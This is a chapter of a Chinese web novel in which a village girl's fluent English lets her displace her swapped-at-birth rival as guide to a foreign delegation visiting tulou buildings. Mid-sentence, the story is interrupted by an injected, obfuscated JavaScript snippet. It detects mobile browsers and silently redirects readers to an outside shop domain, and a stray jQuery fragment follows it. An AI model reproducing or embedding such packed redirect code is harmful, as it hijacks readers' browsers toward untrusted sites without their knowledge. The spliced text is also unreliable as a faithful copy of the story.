一行人下车,负责当翻译的顾衍之,看向接待团为首的张主任,“不是说你们的翻译,是个还没出校门,口语不够熟练的学生吗?”
林念安的突然表现,也让接待团愣了神。不过,都是经历过事情的人,心态很快就稳下来,“这姑娘是村里的向导林念安,我们也是才知道她英语讲得这么好。”
林念安的穿着确实符合当下的农村姑娘形象,可农村真有英语讲得这么好的人吗?
不过,眼下不是追究这些的时候,顾衍之只能压下心里的好奇,一锤定音,“既是本地人,又有一口流利的英语,确实适合当向导。”
林念安脸上带着恰到好处的笑容,落落大方道,“能给诸位老师当向导,是我的荣幸。”林念安的目的是抢走沈锦绣出风头的机会,并不想影响其他接待团成员的工作,“我是临时向导,老师们的详细走访安排,还得仰仗接待团。”
被她莫名其妙打断开场白的接待团众人,听到她这话,脸色总算好看了些,“各位一路辛苦,我们先行到住处安顿休息一番,再开始走访如何?”
顾衍之问过众人后,接受了接待团的意见。
林念安率先走在前头,“那我顺便给诸位老师介绍一下沿途土楼的历史和文化。”
听到她准确地吐出历史和文化两个词,当中一个外国专家眼睛当即亮了,“这姑娘专业。”
见外国专家满意,众人看林念安的眼神,各不一样,林念安却丝毫不受影响,照着原主的记忆,结合她后世研究这个案例的资料,用最专业的英语,替考察团做着讲解。
走着走着,最后只剩下林念安的讲解声,以及外宾时不时的追问声,其他人俨然成了陪衬。看着她从容不迫的样子,看着她如数家珍的介绍,一句英语都没来得及出口的沈锦绣,紧紧攥着手上一沓英语资料。
她为了加入这次接待团付出了全部的努力,不仅绞尽脑汁磨得沈父为她动用关系,还送了很多礼物给英文老师,让她帮着提前准备手上这一沓资料,希望能在这次接待团中表现优异,为自己即将到来的毕业分配,攒上一份漂亮的履历。
结果被沈父沈母嫌老土的村姑,抢走了所有外宾的关注。
不行,她得想想办法,不能就这样浪费好不容易才得来的机会。
于是,她鼓足勇气,走到林念安跟前,趁她喝水的间歇说道,“Hello,IamShenJinxiu,amemberofthereceptionteam.”
外宾不明白为什么有人突然插话,不过还是礼貌地点点头,沈锦绣却像受到鼓舞一样,照着早就翻开的资料读,“Tulouisaveryoldbuilding.Itisroundandsquare.Manypeopleliveinside.Theyarelikeabigfamily.”
外宾尽量忽略沈锦绣磕磕绊绊的英语,用英语问他感兴趣的内容,“它的防御功能和建筑结构呢?”
沈锦绣听不懂防御功能和建筑结构这样专业的词汇,当即脑袋一空,只能硬着头皮回答,“Yes,itisverybig.Veryold.Verystrong.”
“What?”见对方词不达意,外宾不明所以,林念安赶紧开口接过话题。
比起沈锦绣那听着费劲的英语,外宾显然更喜欢林念安的伦敦腔,于是注意力一下又被林念安吸引。沈锦绣还想开口说什么,却被一旁沉着脸的顾衍之拦住,“我一个英语流利的翻译遇上林向导都甘愿沦为陪衬,你一个口语都讲不顺的人,谁给你胆子插话了,嗯?”
“可这是我费尽千辛万苦才得来的机会,她凭什么抢走我机会?”
“凭她那口让外宾赞叹的英语,凭她是土生土长的本地人。”面无表情给了沈锦绣一句话,顾衍之看向接待团,“这位同志为了自己的私欲,不顾国家脸面,不适合继续出现在外宾面前,免得闹出更大的笑话。”
听到顾衍之的话,沈锦绣的眼泪当即滚了下来,“不……”后面的话还没来得及出口,就被接待团主任制止,“小沈,你先回去休息。”
沈锦绣哀求地看着张主任,“张主任,我……”
张主任却沉着脸,重复道,“回去。”
想到自己刚才口口声声告诫林念安不能乱来,否则相关部门不会放过她,沈锦绣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609291|205872||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怕了,捂着止不住流泪的眼睛,拔腿跑了。
沈锦绣的状况丝毫没影响林念安,她语气一如最初,不疾不徐地向外宾,展示着土楼的历史底蕴。随行的顾衍之,越看她,眼里对她的欣赏越浓厚。
他真的很好奇,一个农村姑娘,是怎么学会这么一口流利的英语的?!
林念安知道自己今天这一出,势必会引来很多质疑。
可她还是这么干了。
因为她要先破后立,破了原主籍籍无名的过往,立起一个全新的她。
而且关于她这口流利英语的渊源,她早想好说辞。
是以,辞别考察团,面对接待团的好奇,林念安娓娓道出她学英语的缘由,“阿嬷从小告诉我,有心学习的人,人人都可以是我的老师。前些年不少下放到村里的大学教授,他们都教过我知识。我的英语就是跟他们学的,当然英语需要长期累积,仅凭他们见缝插针的教,我自己不努力,也不可能讲得这么流利。”
“阿嬷深知这点,所以临终前,她拿出了所有积蓄,给我买了一台收音机。”因为慢慢沉浸在回忆里,林念安脸上的表情柔和下来,声音也跟着变轻,“六年来,我每天跟着收音机学,没中断过一天。”
林念安口中的阿嬷,是原主的奶奶,也是唯一毫无保留对原主好的人。
“曾经我不懂她为什么要对我这么个没有血缘关系的孙女这么好,直到我回到那个本该属于我的家,却丁点属于我的位置都没有的地方,我才明白。人跟人之间讲究缘分,我跟阿嬷有缘,所以她倾尽一切对我好。我跟沈家人没缘,所以他们看我百般不顺眼。”
似乎意识到最后一段话有些莫名其妙,林念安补充道,“我跟沈锦绣从小被抱错,我曾回沈家小住过一段时间,可惜我是个没见识的村姑,不得亲生父母喜欢,最后又被送回这里。”
林念安说完,接待团所有人都沉默了。
谁也没想到她跟沈锦绣之间,竟然有着这样的身世纠葛。
想到穿着得体、小女儿家姿态十足的沈锦绣,再看眼前一身粗糙土布衫、表情比他们一帮老家伙都端得住的林念安——一时间谁也不知道该说什么才好。